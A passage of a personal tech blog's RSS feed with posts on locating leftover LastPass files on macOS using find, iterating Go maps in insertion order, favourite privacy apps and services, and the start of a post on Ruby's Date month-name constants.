<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">brew install --cask pearcleaner
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h2 id="searching-for-residual-files-and-directories">Searching for Residual Files and Directories</h2>
<p>To find directories and files related to LastPass, I ran a system-wide search using <code>find</code>. I excluded directories such as <code>/System/Volumes/Data</code> since those result in errors like &ldquo;Operation not permitted&rdquo;. I also excluded Homebrew directories that don&rsquo;t need to be cleaned up. You can add more directories as needed, just make sure to not add a trailing slash to the filepaths!</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">find / <span class="se">\
</span></span></span><span class="line"><span class="cl">-not <span class="se">\(</span> -path /System/Volumes/Data -prune <span class="se">\)</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">-not <span class="se">\(</span> -path /usr/local/Homebrew -prune <span class="se">\)</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">-not <span class="se">\(</span> -path /usr/local/Cellar -prune <span class="se">\)</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">-not <span class="se">\(</span> -path /usr/local/Caskroom -prune <span class="se">\)</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">-name <span class="se">\*</span>lastpass<span class="se">\*</span> 2&gt;<span class="p">&amp;</span><span class="m">1</span> <span class="p">|</span> grep -v -E <span class="s1">&#39;Operation not permitted|Permission denied|Not a directory&#39;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The command may take some time to complete depending on your machine specs and amount of files you have. It took around ~10 minutes for me on a 2019 MacBook Pro with an i7 Intel CPU.</p>
<p>Here&rsquo;s the output I got from the command above. I can now go through each of these files and folders and decide if I want to delete them manually:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">/private/var/folders/m9/_7bg6tbn3636m1zzlzq33bwh0000gn/T/com.lastpass.lastpassmacdesktop
</span></span><span class="line"><span class="cl">/private/var/folders/m9/_7bg6tbn3636m1zzlzq33bwh0000gn/C/com.lastpass.lastpassmacdesktop
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Application Support/com.lastpass.lastpassmacdesktop
</span></span><span class="line"><span class="cl">/Users/nelson/Library/WebKit/com.lastpass.lastpassmacdesktop
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Preferences/com.lastpass.lastpassmacdesktop.plist
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Application Scripts/N24REP3BMN.lmi.lastpass.group
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Application Scripts/com.lastpass.lastpassmacdesktop.safariext
</span></span><span class="line"><span class="cl">/Users/nelson/Library/HTTPStorages/com.lastpass.lastpassmacdesktop.binarycookies
</span></span><span class="line"><span class="cl">/Users/nelson/Library/HTTPStorages/com.lastpass.lastpassmacdesktop
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Group Containers/N24REP3BMN.lmi.lastpass.group
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Group Containers/N24REP3BMN.lmi.lastpass.group/Library/Preferences/N24REP3BMN.lmi.lastpass.group.plist
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Group Containers/N24REP3BMN.lmi.lastpass.group/Library/Application Scripts/N24REP3BMN.lmi.lastpass.group
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Containers/com.lastpass.LastPass
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Containers/com.lastpass.lastpassmacdesktop.safariext
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Containers/com.lastpass.lastpassmacdesktop.safariext/Data/Library/Application Scripts/com.lastpass.lastpassmacdesktop.safariext
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Caches/com.crashlytics.data/com.lastpass.lastpassmacdesktop
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Caches/Homebrew/Cask/lastpass--4.116.0.dmg
</span></span><span class="line"><span class="cl">/Users/nelson/Library/Caches/com.lastpass.lastpassmacdesktop
</span></span></code></pre></td></tr></table>
</blockquote><p>This could probably be automated all the way through the deletion step, but I prefer to double check what is actually going to be deleted.</p>
<p>Also, this <em>may</em> help to free up space on macOS, but I mainly did it because I like keeping my system tidy.</p>
<p>Try this out with whatever apps you&rsquo;ve deleted in the past. You can also try finding files and folders be specifying a company name. For example, replace <code>\*lastpass\*</code> with <code>\*microsoft\*</code> and see what you get!</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://stackoverflow.com/questions/4210042/how-do-i-exclude-a-directory-when-using-find" target="_blank" rel="noopener">https://stackoverflow.com/questions/4210042/how-do-i-exclude-a-directory-when-using-find</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Insertion Order Iteration of Maps in Go</title>
      <link>https://nelson.cloud/insertion-order-iteration-of-maps-in-go/?ref=rss</link>
      <pubDate>Tue, 23 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/insertion-order-iteration-of-maps-in-go/?ref=rss</guid>
      <description>Iterating through Go maps in insertion order.</description><content:encoded><![CDATA[<p>In Go, map contents are randomized. Go doesn&rsquo;t care about insertion order. Elements in a map are always random when iterating through them.</p>
<p>To iterate through map contents in insertion order, we need to create a slice that keeps track of each key. Then we iterate through this slice and use its contents (which are the map keys) to access the map&rsquo;s values in the order in which they were inserted:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">(</span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;a&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;b&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;c&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;d&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;e&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;f&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// store map keys in a slice</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">keys</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="p">[]</span><span class="kt">string</span><span class="p">{</span><span class="s">&#34;a&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;b&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;c&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;d&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;e&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;f&#34;</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// iterate through &#34;keys&#34; slice to get map values in insert order</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// the underscore is there because we won&#39;t be using the first value, which is the index of the slice</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">for</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">keys</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;Key:&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;\t&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;Value:&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">m</span><span class="p">[</span><span class="nx">key</span><span class="p">])</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><pre tabindex="0"><code>$ go run example.go

Key: a 	 Value: 0
Key: b 	 Value: 1
Key: c 	 Value: 2
Key: d 	 Value: 3
Key: e 	 Value: 4
Key: f 	 Value: 5
</code></pre><p>Now each key and value is printed in insertion order.</p>
<h2 id="additional-notes">Additional Notes</h2>
<p>The following example shows how iterating through a map won&rsquo;t print out values in order even if assignment was done in a certain order:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="c1">// example.go</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">(</span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;a&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;b&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;c&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;d&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;e&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;f&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// iterate through map and print each key, value</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">for</span><span class="w"> </span><span class="nx">key</span><span class="p">,</span><span class="w"> </span><span class="nx">value</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">m</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;Key:&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;\t&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;Value:&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">value</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>And the output is:</p>
<pre tabindex="0"><code>$ go run example.go

Key: e 	 Value: 4
Key: f 	 Value: 5
Key: a 	 Value: 0
Key: b 	 Value: 1
Key: c 	 Value: 2
Key: d 	 Value: 3
</code></pre><p>Interestingly, printing a map with <code>fmt.Println</code> prints elements in key-sorted order and NOT by insertion order. Since Go 1.12, the <code>fmt</code> package sorts map keys for display purposes:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="c1">// example.go</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">(</span><span class="kd">map</span><span class="p">[</span><span class="kt">string</span><span class="p">]</span><span class="kt">int</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;c&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;a&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;f&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;b&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;e&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">4</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">m</span><span class="p">[</span><span class="s">&#34;d&#34;</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// print map directly</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="nx">m</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><pre tabindex="0"><code>$ go run example.go

map[a:0 b:1 c:2 d:3 e:4 f:5]
</code></pre><p>The keys were inserted in a random order, but printing the map displays the key-value pairs sorted by key (alphabetically).</p>
]]></content:encoded>
    </item>
    <item>
      <title>My Favorite Privacy Apps and Services</title>
      <link>https://nelson.cloud/my-favorite-privacy-apps-and-services/?ref=rss</link>
      <pubDate>Thu, 31 Dec 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/my-favorite-privacy-apps-and-services/?ref=rss</guid>
      <description>My favorite privacy-respecting tools, apps, and services.</description><content:encoded><![CDATA[<p>This is a collection of my most used privacy tools and services. I have not been paid or sponsored by any of them.</p>
<h2 id="firefox">Firefox</h2>
<p><strong>Official site:</strong> 

<a href="https://www.mozilla.org/en-US/firefox/new/" target="_blank" rel="noopener">https://www.mozilla.org/</a></p>
<p>Firefox has always been a great alternative to Chrome for privacy purposes. Firefox is, in my opinion, the only real alternative to Chrome and Chromium-based browsers. Sure there&rsquo;s also Safari but the support for extensions is butchered. If I can&rsquo;t install 

<a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/" target="_blank" rel="noopener">uBlock Origin</a> on a browser, I don&rsquo;t use it.</p>
<h2 id="ublock-origin">uBlock Origin</h2>
<p><strong>Official site:</strong> 

<a href="https://ublockorigin.com/" target="_blank" rel="noopener">https://ublockorigin.com/</a></p>
<p>uBlock Origin is probably the best adblocker out there. I debated adding it to my list because I thought it was the norm to install an adblocker but I&rsquo;ve come across so many people that, for whatever reason, do not use any sort of adblocker.</p>
<p>If you use a browser (aside from Safari) and you don&rsquo;t have this extension installed&hellip;what are you doin&rsquo;??</p>
<h2 id="tor">Tor</h2>
<p><strong>Official site:</strong> 

<a href="https://www.torproject.org/" target="_blank" rel="noopener">https://www.torproject.org/</a></p>
<p>If you really care about privacy to the point where you want to be anonymous, use Tor. When using Tor, your connection goes through several Tor servers that encrypt connections multiple times along the way. This way, your connection is difficult to trace and decrypt. Tor is widely used by journalists, whistleblowers, and activists to remain safe from government surveillance and punishment.</p>
<h2 id="signal">Signal</h2>
<p><strong>Official site:</strong> 

<a href="https://signal.org/" target="_blank" rel="noopener">https://signal.org/</a></p>
<p>Signal is a cross-platform messaging app. If you&rsquo;ve ever used iMessage on Apple devices, then it&rsquo;ll feel familiar, except Signal is not exclusive to Apple hardware. Signal is free, open source, end-to-end encrypted, and peer-reviewed. It&rsquo;s used by privacy advocates around the world.</p>
<p>It has all the essential features that you&rsquo;d expect from a modern messaging application like sending photos/videos, calls, video chat, stickers.</p>
<h2 id="mullvad-vpn">Mullvad VPN</h2>
<p><strong>Official site:</strong> 

<a href="https://mullvad.net/en/" target="_blank" rel="noopener">https://mullvad.net/en/</a></p>
<p>Mullvad VPN does not log any activity (and has been audited to prove it), and is pretty affordable. I know many people out there opt to use free VPNs, but there&rsquo;s a 99% chance they&rsquo;re selling your information to marketing companies. It&rsquo;s much better to pay for a VPN.</p>
<p>The source code for the Mullvad client applications 

<a href="https://github.com/mullvad/mullvadvpn-app" target="_blank" rel="noopener">is open-source</a>.</p>
<p>Mullvad even encourages you to remain as anonymous as possible when buying their service. You don&rsquo;t need an email to sign up and you can pay with Bitcoin.</p>
<p>Mullvad VPN is based in Sweden, which has generally good privacy laws.</p>
<h2 id="proton-vpn">Proton VPN</h2>
<p><strong>Official site:</strong> 

<a href="https://protonvpn.com/" target="_blank" rel="noopener">https://protonvpn.com/</a></p>
<p>I eventually switched to Proton VPN since I bought their subscription suite that includes email and cloud storage. My experience with Proton VPN has been very positive and it&rsquo;s just as good as Mullvad from what I can tell. Proton VPN (and the rest of their services) are based in Switzerland which has good privacy laws.</p>
<h2 id="proton-mail">Proton Mail</h2>
<p><strong>Official site:</strong> 

<a href="https://protonmail.com/" target="_blank" rel="noopener">https://protonmail.com/</a></p>
<p>Proton Mail is an email service based in Switzerland. Your emails are encrypted and aren&rsquo;t used for training AI or selling advertisements to you.</p>
<p>The UI/UX isn&rsquo;t as great as something like GMail but I think it&rsquo;s worth the trade-off. They also support bringing in your own domain to use for emailing.</p>
<p>You can create a free account to try it out.</p>
<h2 id="little-snitch">Little Snitch</h2>
<p><strong>Official site:</strong> 

<a href="https://www.obdev.at/products/littlesnitch/index.html" target="_blank" rel="noopener">https://www.obdev.at/products/littlesnitch/index.html</a></p>
<p>Little Snitch is a macOS-only application firewall that runs on your Mac and monitors all incoming and outgoing connections. It allows you to allow or deny connections as needed and gives you plenty of information about what your applications are connecting to. There are also 

<a href="https://www.obdev.at/products/littlesnitch-mini/blocklists.html" target="_blank" rel="noopener">curated blocklists</a> you can add to Little Snitch to block things like ads on your entire machine.</p>
<p>This is a paid app (and there&rsquo;s a free trial), but I think it&rsquo;s worth it.</p>
<p>If you want a free alternative, check out 

<a href="https://objective-see.com/products/lulu.html" target="_blank" rel="noopener">LuLu</a>. It has fewer features, but it&rsquo;s worth a try if you want to see what your machine is connecting to. The same developer has other Mac-related applications that may be useful: 

<a href="https://objective-see.com/index.html" target="_blank" rel="noopener">objective-see.com</a>.</p>
<h2 id="further-research">Further Research</h2>
<p>These are my favorite tools and services, but there are many, many others out there. If you want to claim back more of your privacy, start by reading through 

<a href="https://www.privacyguides.org/en/tools/" target="_blank" rel="noopener">privacyguides.org</a>.</p>
<p>I&rsquo;ve also learned a lot about privacy in these subreddits:</p>
<p>

<a href="https://www.reddit.com/r/privacy/" target="_blank" rel="noopener">/r/privacy</a></p>
<p>

<a href="https://www.reddit.com/r/PrivacyGuides/" target="_blank" rel="noopener">/r/PrivacyGuides</a></p>
<p>

<a href="https://www.reddit.com/r/degoogle/" target="_blank" rel="noopener">/r/degoogle</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Useful Constants in Ruby&#39;s Date Class</title>
      <link>https://nelson.cloud/useful-constants-in-rubys-date-class/?ref=rss</link>
      <pubDate>Thu, 20 Aug 2020 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/useful-constants-in-rubys-date-class/?ref=rss</guid>
      <description>Diving into useful constants in Ruby&amp;rsquo;s Date class</description><content:encoded><![CDATA[<p>While trying to modify dates in string form, I came across a convenient way to convert months into their numerical values.
For example, say I had the string <code>Aug 20, 2020</code> and I wanted to convert it into <code>8-20-2020</code>.
It&rsquo;s easy to split the string and add a dash in between each number. But what about <code>Aug</code>? How do we get the numerical form of <code>Aug</code> and all the other months?
We could manually create something like a hash that contains months in string and numerical form. But, Ruby already comes with a built-in solution.</p>
<p>In 

<a href="https://ruby-doc.org/stdlib-2.7.1/libdoc/date/rdoc/Date.html#Constants" target="_blank" rel="noopener">the documentation</a>, I discovered that Ruby&rsquo;s <code>Date</code> class comes with two array constants that can help in this situation.
Those constants are <code>MONTHNAMES</code> and <code>ABBR_MONTHNAMES</code>.</p>
<p><code>MONTHNAMES</code> is an array of the full names of all the months.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># irb</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="nb">require</span> <span class="s1">&#39;date&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">=&gt;</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="no">Date</span><span class="o">::</span><span class="no">MONTHNAMES</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">=&gt;</span> <span class="o">[</span><span class="kp">nil</span><span class="p">,</span> <span class="s2">&#34;January&#34;</span><span class="p">,</span> <span class="s2">&#34;February&#34;</span><span class="p">,</span> <span class="s2">&#34;March&#34;</span><span class="p">,</span> <span class="s2">&#34;April&#34;</span><span class="p">,</span> <span class="s2">&#34;May&#34;</span><span class="p">,</span> <span class="s2">&#34;June&#34;</span><span class="p">,</span> <span class="s2">&#34;July&#34;</span><span class="p">,</span> <span class="s2">&#34;August&#34;</span><span class="p">,</span> <span class="s2">&#34;September&#34;</span><span class="p">,</span> <span class="s2">&#34;October&#34;</span><span class="p">,</span> <span class="s2">&#34;November&#34;</span><span class="p">,</span> <span class="s2">&#34;December&#34;</span><span class="o">]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p><code>ABBR_MONTHNAMES</code> is an array of abbreviated month names.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># irb</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="nb">require</span> <span class="s1">&#39;date&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">=&gt;</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&gt;</span> <span class="no">Date</span><span class="o">::</span><span class="no">ABBR_MONTHNAMES</span>
</span></span><span class="line"><span class="cl">
